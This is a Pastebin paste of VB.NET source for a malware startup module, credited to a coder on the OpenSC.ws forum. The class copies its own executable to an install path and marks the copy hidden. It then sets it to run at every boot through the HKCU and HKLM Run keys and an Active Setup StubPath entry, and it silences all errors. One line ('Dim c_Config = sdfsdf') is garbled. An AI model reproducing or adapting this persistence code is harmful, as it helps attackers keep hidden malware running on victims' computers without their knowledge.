Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- NotInheritable Class c_Startup
- Private Sub New()
- End Sub
- '
- ' Coded by Xepouhe :: OpenSC.ws
- '
- Public Shared Function IsInstalled() As Boolean
- Dim c_Config = sdfsdf
- If File.Exists(c_Config.GetInstallPath()) Then
- Return True
- End If
- Return False
- End Function
- Public Shared Sub RegistryInstall()
- Dim rkKey As RegistryKey = Nothing
- rkKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
- rkKey.SetValue(c_Config.GetRegistryName(), c_Config.GetInstallPath())
- rkKey.Close()
- rkKey = Nothing
- If Not c_Misc.IsVista78() Then
- rkKey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
- rkKey.SetValue(c_Config.GetRegistryName(), c_Config.GetInstallPath())
- rkKey.Close()
- rkKey = Nothing
- rkKey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Active Setup\Installed Components")
- rkKey.CreateSubKey(c_Config.GetActiveXKey())
- rkKey = rkKey.OpenSubKey(c_Config.GetActiveXKey())
- rkKey.SetValue("StubPath", c_Config.GetInstallPath())
- rkKey.SetValue("IsInstalled", 1, RegistryValueKind.DWord)
- rkKey.Close()
- rkKey = Nothing
- End If
- End Sub
- Public Shared Sub Install()
- Try
- File.Copy(Application.ExecutablePath, c_Config.GetInstallPath())
- If File.Exists(c_Config.GetInstallPath()) Then
- RegistryInstall()
- File.SetAttributes(c_Config.GetInstallPath(), File.GetAttributes(c_Config.GetInstallPath()) Or FileAttributes.Hidden)
- End If
- 'Environment.[Exit](0)
- Catch
- End Try
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement